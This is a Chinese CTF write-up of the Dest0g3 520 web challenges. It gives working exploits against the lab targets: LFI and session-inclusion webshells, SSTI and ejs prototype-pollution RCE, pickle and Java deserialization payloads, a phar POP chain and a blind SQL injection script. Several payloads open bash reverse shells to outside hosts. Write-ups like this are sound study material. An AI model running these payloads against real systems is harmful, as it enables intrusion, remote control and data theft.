Dest0g3-web部分wp
最近的大赛很多,但是在群里也不会做,而且事比较多,所以就找点简单的小比赛查漏补缺一下,因为感觉自己基础不是很牢固。
phpdest
<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; }
require_once跟直接include不一样。
这是PHP 最新版的小 Trick,require_once 包含的软链接层数较多时 once 的 hash 匹配会直接失效造成重复包含。
php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台 (anquanke.com)
payload:?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
或者session文件包含:
import requests import io import threading url = "http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/" sessionID = "flag" data = {"cmd": "system('cat flag.php');"} def write(session): while True: f = io.BytesIO(b'a'*1024*50) resp = session.post(url=url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST["cmd"]);?>'},files={'file':('flag.txt',f)},cookies={'PHPSESSID':sessionID}) def read(session): while True: resp = session.post(url='http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/?file=/tmp/sess_flag',data=data) if 'flag.txt' in resp.text: print(resp.text) event.clear() else: print("=========retry==========") if __name__ == "__main__": event = threading.Event() with requests.session() as session: for i in range(1,5): threading.Thread(target=write, args=(session,)).start() for i in range(1,5): threading.Thread(target=read, args=(session,)).start() event.set()
EasyPHP
<?php highlight_file(__FILE__); include "fl4g.php"; $dest0g3 = $_POST['ctf']; $time = date("H"); $timme = date("d"); $timmme = date("i"); if(($time > "24") or ($timme > "31") or ($timmme > "60")){ echo $fl4g; }else{ echo "Try harder!"; } set_error_handler( function() use(&$fl4g) { print $fl4g; } ); $fl4g .= $dest0g3; ?>
没什么好说的,只需要让他报错就能输出flag,这里用数组绕过即可:
ctf[]=123
SimpleRCE
<?php highlight_file(__FILE__); $aaa=$_POST['aaa']; $black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep'); $aaa = str_ireplace($black_list,"hacker",$aaa); eval($aaa); ?>
看起来过滤很多,发现可以hex2bin绕过:
aaa=hex2bin('73797374656d')('head /f*');
本来取反绕过就行,因为没ban ~:
aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);
但是没回显,后来发现ban了%,怪不得。
funny_upload
又是php伪协议绕过,用.htaccess就行。
我也写过很多次了,这次就萌萌的略过了。
EasySSTI
ban掉了很多东西,反正常规payload我出不来,终于有个好玩一点的了。
这里只能考虑set构造,因为空格和点也都被过滤,但后来发现该题的检测方式是只对payload传入的内容进行检测,所以过滤空格话可以用%0a代替,剩下的就是随着报错随着构造了。
[Dest0g3 520迎新赛] Web部分wp_<?php highlight_file(__file__); require_once 'flag_S1nJa的博客-CSDN博客
MAR & DASCTF 2021 baby_flask_bfengj的博客-CSDN博客
{%%0aset%0apo=dict(po=a,p=a)|join%} {%%0aset%0axiahuaxian=(lipsum|string|list)|attr(po)(18)%0a%} {%%0aset%0agb=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%0a%} {%%0aset%0aget=dict(get=a)|join%}{%%0aset%0ao=dict(o=a,s=a)|join%0a%} {%%0aset%0apo=dict(po=a,pen=a)|join%} {%%0aset%0acat=dict(cat=a)|join%} {%%0aset%0aid=dict(index=a)|join%} {%%0aset%0abin=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%0a%} {%%0aset%0acr=dict(ch=a,r=a)|join%} {%%0aset%0achr=(lipsum|attr(gb))|attr(get)(bin)|attr(get)(cr)%0a%} {%%0aset%0axiegang=chr(47)%} {%%0aset%0ard=dict(re=a,ad=a)|join%} {%%0aset%0aspace=chr(32)%0a%} {%%0aset%0ashell=(cat,space,xiegang,dict(flag=a)|join)|join%0a%} {%print(lipsum|attr(gb)|attr(get)(o)|attr(po)(shell)|attr(rd)())%}
或者:
{%set%0aid=dict(ind=a,ex=a)|join%}{%set%0app=dict(po=a,p=a)|join%}{%set%0ann=dict(n=a)|join%}{%set%0aenv=dict(env=a)|join%}{%set%0appe=dict(po=a,pen=a)|join%}{%set%0att=dict(t=a)|join%}{%set%0agt=dict(ge=a,t=a)|join%}{%set%0aff=dict(f=a)|join%}{%set%0aooqq=dict(o=a,s=a)|join%}{%set%0afive=(lipsum|string|list)|attr(id)(tt)%}{%set%0ard=dict(re=a,ad=a)|join%}{%set%0athree=(lipsum|string|list)|attr(id)(nn)%}{%set%0aone=(lipsum|string|list)|attr(id)(ff)%}{%set%0ashiba=five*five-three-three-one%}{%set%0axiahuaxian=(lipsum|string|list)|attr(pp)(shiba)%}{%set%0agb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0abin=(xiahuaxian,xiahuaxian,dict(built=a,ins=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0aini=(xiahuaxian,xiahuaxian,dict(in=a,it=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0achcr=(lipsum|attr(gb))|attr(gt)(bin)%}{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(env)|attr(rd)()}}
环境变量拿下flag。
太狠了。
middle
进去就给flask源码:
import os import config from flask import Flask, request, session, render_template, url_for,redirect,make_response import pickle import io import sys import base64 app = Flask(__name__) class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module in ['config'] and "__" not in name: return getattr(sys.modules[module], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() @app.route('/') def show(): base_dir = os.path.dirname(__file__) resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read()) resp.headers["Content-type"] = "text/plain;charset=UTF-8" return resp @app.route('/home', methods=['POST', 'GET']) def home(): data=request.form['data'] User = restricted_loads(base64.b64decode(data)) return str(User) if __name__ == '__main__': app.run(host='0.0.0.0', debug=True, port=5000) import os def backdoor(cmd): # 这里我也改了一下 if isinstance(cmd,list) : s=''.join(cmd) print("!!!!!!!!!!") s=eval(s) return s else: print("??????")
尤其是
@app.route('/home', methods=['POST', 'GET']) def home(): data=request.form['data'] User = restricted_loads(base64.b64decode(data)) return str(User)
一眼pickle反序列化,
Python之Pickle反序列化 | 沉铝汤的破站 (chenlvtang.top)
从零开始的pickle反序列化学习 - Cxlover - 博客园 (cnblogs.com)
直接开打:
import base64 payload = b'''cconfig\nbackdoor\n(]S"os.system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MDg1MiAwPiYx|base64 -d|bash -i')"\natR.''' print(base64.b64encode(payload))
post传一下data:
PharPOP
很典的phar反序列化:
我们需要利用air类中的echo new $p($value);
来执行PHP原生类。
ps.原生类:
DirectoryIterator可以配合glob://协议使用模式匹配来寻找需要的文件
SplFileObject可以读取文件
<?php highlight_file(__FILE__); function waf($data){ if (is_array($data)){ die("Cannot transfer arrays"); } if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) { die("You can't do"); } } class air{ public $p; public function __set($p, $value) { $p = $this->p->act; echo new $p($value); } } class tree{ public $name; public $act; public function __destruct() { return $this->name(); } public function __call($name, $arg){ $arg[1] =$this->name->$name; } } class apple { public $xxx; public $flag; public function __get($flag) { $this->xxx->$flag = $this->flag; } } class D { public $start; public function __destruct(){ $data = $_POST[0]; if ($this->start == 'w') { waf($data); $filename = "/tmp/".md5(rand()).".jpg"; file_put_contents($filename, $data); echo $filename; } else if ($this->start == 'r') { waf($data); $f = file_get_contents($data); if($f){ echo "It is file"; } else{ echo "You can look at the others"; } } } } class banana { public function __get($name){ return $this->$name; } } // flag in / if(strlen($_POST[1]) < 55) { $a = unserialize($_POST[1]); } else{ echo "str too long"; } throw new Error("start"); ?>
file_get_contents($data)相当于文件上传,传上去后再直接用phar://开读就可以了。
exp:
<?php class air{ public $p; public function __construct() { // $this->p = new tree; } } class tree{ public $name; public $act; public function __construct() { $this->name = new apple; // $this->act = 'FilesystemIterator'; $this->act = 'SplFileObject'; } } class apple { public $xxx; public $flag; public function __construct() { // $this->xxx = new air; // $this->flag = 'glob:///f*'; $this->flag = '/fflaggg'; } } class banana { public function __construct() { $this->name = new air; } } $o = new tree; $o->name->xxx = new air; $o->name->xxx->p = new tree; // echo serialize($o); echo urlencode(serialize($o)); // class D { // public $start = 'r'; // } // $a = new D; // echo serialize($a); // echo "\n"; @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("__HALT_COMPILER(); \?\>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); // echo urlencode(file_get_contents('234.phar.gz'));
但是这道题还涉及到fast destruct,也就是GC机制。所以我们让它报错以强行先触发destruct,但是phar的签名也发生了变化,就需要再一次的改动。
我原来也贴过两种方法:
这里我选择去掉尾部右花括号 }
然后改签名:
from hashlib import sha1 f = open('phar.phar', 'rb').read() s = f[:-28] h = f[-8:] newf = s + sha1(s).digest() + h open('234.phar', 'wb').write(newf)
而且黑名单我们也看到了,把类名都ban掉了,所以内容上要绕过检测,就需要用gzip来绕过它。
这里本来python可以直接做,但正好开着虚拟机就直接gzip了:
先上传打phar,因为file_put_contents相当于文件上传,先parse一下拿到编码:
import urllib.parse with open("C:\\Users\\75279\\Desktop\\234.phar.gz", 'rb') as fi: f = fi.read() ff = urllib.parse.quote(f) #获取信息 print(ff)
然后直接传参就行。(其实python可以一条龙,其他师傅的wp也有,这里也不献丑了)
POST1:
0=%1F%8B%08%08%B3%2Bpe%00%03234.phar%00%8B%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%D0%B4V%B0%B7%E3%E5%D2%60d%60%00%22%06A%06%08%CD%C0%F0%09%88%FD%ADL%AC%94J%8ARS%95%AC%8C%AC%AA%8BA%BC%BC%C4%DCT%25k%7F%2BS%2B%A5%C4%82%82%1C%98%8C%B1%95REE%05H%02%C8J%CC%2CR%B22%04%09%1BZ%29%15%80%04I5%C6%CF%1A%AC%2A-%271%5D%09%C8%B4%B0R%D2O%03q%D2%81%DCZ%B0%B2%C4%E4%12%90%8C%21%90%19%5C%90%E3%96%99%93%EA%9F%94%95%0A%12%AC%AD%25_/%07%D0%D3%25%A9%C5%25z%25%15%25%2C%40%F6A%AD%82T%10%CDSW%7Fc%1B%24%5C%C0%F2%CF%EE%FF%17%CF%7D%FE%F5%25%EF%BF%AD%B3%8E%5ES%0A%28%FC%E3%CE%BC%E9F%11%F7Q%17%8F%5D%3C%8E%97%F9%99%81%EA%DC%9D%7C%9D%00%DF%F1%C9%D7n%01%00%00&1=O:1:"D":2:{s:5:"start";s:1:"w";}
POST2:
0=phar:///tmp/3eee03eb860187093bbda6d504cdeab2.jpg&1=O:1:"D":2:{s:5:"start";s:1:"r";}
结果错了:
一看SHA256,我就明白了,因为做过一道pharpop,最后是SHA256加密才能出,这里具体原因不知道,如果有明白的师傅看到能给我解惑就更好了....
再来一遍:
POST2:
0=phar:///tmp/e763fbc2a6987d8b03a0f128481372bf.jpg&1=O:1:"D":2:{s:5:"start";s:1:"r";}
爽了。
ezip
牛魔,一打开就是个瑟图。
难绷,我怕过不了审,就不放了。
结果upload的源码藏在瑟图里,6。
最后藏了个base64:
upload.php:
<?php error_reporting(0); include("zip.php"); if(isset($_FILES['file']['name'])){ if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){ echo "hacker!!"; exit; } if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){ echo "only zip!!"; exit; } $Myzip = new zip($_FILES['file']['name']); mkdir($Myzip->path); move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']); echo "Try to unzip your zip to /".$Myzip->path."<br>"; if($Myzip->unzip()){echo "Success";}else{echo "failed";} }
zip.php:
<?php class zip { public $zip_name; public $path; public $zip_manager; public function __construct($zip_name){ $this->zip_manager = new ZipArchive(); $this->path = $this->gen_path(); $this->zip_name = $zip_name; } public function gen_path(){ $chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $newchars=str_split($chars); shuffle($newchars); $chars_key=array_rand($newchars,15); $fnstr = ""; for($i=0;$i<15;$i++){ $fnstr.=$newchars[$chars_key[$i]]; } return md5($fnstr.time().microtime()*100000); } public function deldir($dir) { //å å é¤ç®å½ä¸çæä»¶ï¼ $dh = opendir($dir); while ($file = readdir($dh)) { if($file != "." && $file!="..") { $fullpath = $dir."/".$file; if(!is_dir($fullpath)) { unlink($fullpath); } else { $this->deldir($fullpath); } } } closedir($dh); } function dir_list($directory) { $array = []; $dir = dir($directory); while ($file = $dir->read()) { if ($file !== '.' && $file !== '..') { $array[] = $file; } } return $array; } public function unzip() { $fullpath = "/var/www/html/".$this->path."/".$this->zip_name; $white_list = ['jpg','png','gif','bmp']; $this->zip_manager->open($fullpath); for ($i = 0;$i < $this->zip_manager->count();$i ++) { if (strstr($this->zip_manager->getNameIndex($i),"../")){ echo "you bad bad"; return false; } } if(!$this->zip_manager->extractTo($this->path)){ echo "Unzip to /".$this->path."/ failed"; exit; } @unlink($fullpath); $file_list = $this->dir_list("/var/www/html/".$this->path."/"); for($i=0;$i<sizeof($file_list);$i++){ if(is_dir($this->path."/".$file_list[$i])){ echo "dir? I deleted all things in it"."<br>";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]); } else{ if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."<br>";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);} } } return true; } }
遇到上传zip,前面0xGame遇到过一个用软链接直接指向根目录的做法,但是这道题好像没有回显出来,所以这个方法就放着了。
后面又想到前面组会小姐姐讲过zip,有点印象,虽然对这道题好像也没什么实质性帮助,也许是我忘了吧wwww
其实这道直接写个🐎就行了,有两个解法:
解法一:
于是利用 ↓处的exit,绕过之后检测的rmdir和unlink
if(!$this->zip_manager->extractTo($this->path)){ echo "Unzip to /".$this->path."/ failed"; exit; }
先创建一个passwd.php,内含一句话<?php @eval($_GET['cmd'])?>
,把他zip进压缩包:
zip -y pwn.zip passwd.php
然后删除passwd.php创建一个同名文件夹,里头随便放点东西,再压缩进同一个包:
mkdir passwd.php zip -y pwn.zip passwd.php/.jpg
直接传:
/passwd.php?cmd=system(%27nl%20/flag%27);
这里是需要SUID提权的。
但不知道为啥我没出:
别人出了:
解法二:
开发手册这里:
function dir_list($directory) { $array = []; $dir = dir($directory); while ($file = $dir->read()) { if ($file !== '.' && $file !== '..') { $array[] = $file; } } return $array; }
在手册中给出了read()
或者说readdir()
的推荐写法,用强比较来判定布尔值
另外还贴心的给出了弱比较下的问题,文件夹命名为0
在弱比较下是false
,写法不对会处理不到该文件夹,所以通过将木马藏在命名为0
的文件夹来躲避删除。
来自:Dest0g3 520迎新赛WEB 无java部分 wp_-''0:wtdda3-CSDN博客
路径:
<url>/5dbd194ba4a633f73c0ffc65997b4ca6/0/passwd.php
SUID提权,发现nl可用:
最后也是看到本来是传上去了,但是解压失败,估计是文件的问题,后面会想其他的方法。
其实还有种直接010改压缩包的手法,但是暂时不是很会,以后遇到了也会更注意一点。
NodeSoEasy
Nodejs写的后端,下载附件看一下:
看到merge()和下面的POST传参路由,一眼js原型链污染。
另一个文件里发现信息:
但是poc链怎么写呢?
非预期
网上现找一个,结果还真成功了:
Content-Type: application/json { "__proto__": { "client": true, "escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');", "compileDebug": true } }
预期解
{"__proto__":{"__proto__":{"client":true,"escape":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}
说实话确实不是很明白链子怎么来的,所以浅浅回顾了一下。
浅析CTF中的Node.js原型链污染 - FreeBuf网络安全行业门户
npm查了下源码包依赖的漏洞,啥也没有,最新的CVE-2022-29078是ejs 3.16的这里是3.17已修复版本。
结果又找到现成的链子了。
关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台 (anquanke.com)
稍微改改属性,就有了:
{ "__proto__": { "client": true, "escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/server.natappfree.cc/39606 0>&1\"');", "compileDebug": true } }
但这个链子别人打出来了,BUU Dest0g3 520迎新赛 WEB writeup-CSDN博客,我打不出来,怪。
Really Easy SQL
hint:
$black_list=array('union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load');
黑名单可以看到,常规注入过滤了,虽然过滤了sleep,但是benchmark没有过滤。
而且这是个钓鱼网站,就是让你输入账号密码啥的,并且不会有后续回显,仍然可以时间盲注。
直接上benchmark的时间盲注exp:
import time import requests url = "http://6c6aed68-4ee2-4ee2-a099-4f6103f76668.node4.buuoj.cn:81/index.php" string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,{}-'] res = '' for i in range(1,60): for j in string: time.sleep(0.1) #payload = f"username='or(if((ascii(right((select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit=" #payload = f"username='or(if((ascii(right((select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='ctf'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit=" #payload = f"username='or(if((ascii(right((select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='flaggg'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit=" payload = f"username='or(if((ascii(right((select%a0group_concat(cmd)%a0from%a0ctf.flaggg),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit=" try: headers = {'Content-Type':'application/x-www-form-urlencoded'} requests.post(url=url, data=payload, headers=headers, timeout=1.5) except: res = chr(j)+res print(res) break
有点久,等它梭出来就行:
easysql
hint是insert注入,这方面的题确实没做到过。
多了点过滤,但是用上一题的脚本竟然还能梭。
额,insert的注入后面会上心的。这里就不复现了,时间确实太长了。
EzSerial
Java安全题。(虽然靶机一直上不去,只能看wp了)
考点技术:xxe,spel表达式,反序列化,文件安全,最新框架插件漏洞等 设法间接给出源码或相关配置提示文件,间接性源码或直接源码体现等形式 CTF中常见Web源码泄露总结(参考:https://www.cnblogs.com/xishaonian/p/7628153.html) .ng源码泄露 git源码泄露 .Ds_store文件泄漏 网站备份压缩文件 SVN导致文件泄露 WEB-INF/web. xml泄露 CVS泄漏
CTF中常见Web源码泄露总结 - 珍惜少年时 - 博客园 (cnblogs.com)
85:CTF夺旗-JAVA考点反编译&XXE&反序列化 - zhengna - 博客园 (cnblogs.com)
登录发现cookie user是base64的,符合加密后序列化的开头特征
直接打cc链没反应,发包一直有setcookie
尝试/user 或者 /admin路由:
Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
然后CC5直接开打反弹shell,借用:
#jdk1.8 win from urllib.parse import quote import requests import os import base64 import time #payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2'] payloads = ['BeanShell1','Click1','Clojure','CommonsBeanutils1','CommonsCollections1','CommonsCollections2','CommonsCollections3','CommonsCollections4','CommonsCollections5','CommonsCollections6','CommonsCollections7','Groovy1','Hibernate1','Hibernate2','JBossInterceptors1','JavassistWeld1','Jdk7u21','MozillaRhino1','MozillaRhino2','Myfaces1','ROME','Spring1','Spring2','Vaadin1'] for payload in payloads: command = os.popen('java8 -jar ysoserial.jar ' + payload + ' "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMzEuNzYuMjQwLzc5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" > '+payload+'.txt') command.close() cmd = os.popen('certutil -f -encode '+payload+'.txt '+payload+'_encode.txt') cmd.close() #result = result.replace('\n','') with open(payload + '_encode.txt','r') as f: ff=f.read() ff=ff.replace('\n','') ff=ff.replace('-----BEGIN CERTIFICATE-----','') ff=ff.replace('-----END CERTIFICATE-----','') print(payload+'\n') cookies = {'JSESSIONID':'27F2790D6C4FB2CDC86DB5A8011DB28A','user':ff} rep = requests.get(url="http://20beb449-5bb6-4940-a43c-97d72b2fc3ce.node4.buuoj.cn:81/admin/", cookies=cookies) #time.sleep(2) print(rep.text)
#jdk1.8 linux from urllib.parse import quote import requests import os import base64 import time payloads = ['BeanShell1','Click1','Clojure','CommonsBeanutils1','CommonsCollections1','CommonsCollections2','CommonsCollections3','CommonsCollections4','CommonsCollections5','CommonsCollections6','CommonsCollections7','Groovy1','Hibernate1','Hibernate2','JBossInterceptors1','JavassistWeld1','Jdk7u21','MozillaRhino1','MozillaRhino2','Myfaces1','ROME','Spring1','Spring2','Vaadin1'] for payload in payloads: command = os.popen('java -jar ysoserial.jar ' + payload + ' "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMzEuNzYuMjQwLzc5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" | base64 -w 0') result = command.read() command.close() #result = result.replace('\n','') print(result) if result != "": open(payload + '_intruder.txt', 'w').write(result + 'n') for payload in payloads: with open(payload + '_intruder.txt','r') as f: ff=f.read() print(payload+'\n') headers = {'Content-Type':'application/x-www-form-urlencoded'} cookies = {'JSESSIONID':'98C504A30CFBA237247087E5F7D925D7','user':ff} rep = requests.get(url="http://20beb449-5bb6-4940-a43c-97d72b2fc3ce.node4.buuoj.cn:81/admin/", headers=headers, cookies=cookies) #time.sleep(2) print(rep.text)
或bp上打:
注意payload:
java -jar ShortPayload-1.0.jar CC6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTcuMTc0LjIyNi85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"
不要写成:
java -jar ShortPayload-1.0.jar CC6 "echo YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTcuMTc0LjIyNi85OTk5IDA+JjE=|base64 -d|bash -i"
ljctr
蛙趣,看到我们web组里bridge佬的wp了,甚至是唯三解出来的,太酷了!!!
这里还需要在研究看看,因为确实有点难度emmmm.....
Dest0g3迎新赛wp - KingBridge - 博客园 (cnblogs.com)
参考:
Dest0g3 520迎新赛 writeup (misc部分 + web部分)_520迎新赛web_shu天的博客-CSDN博客
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」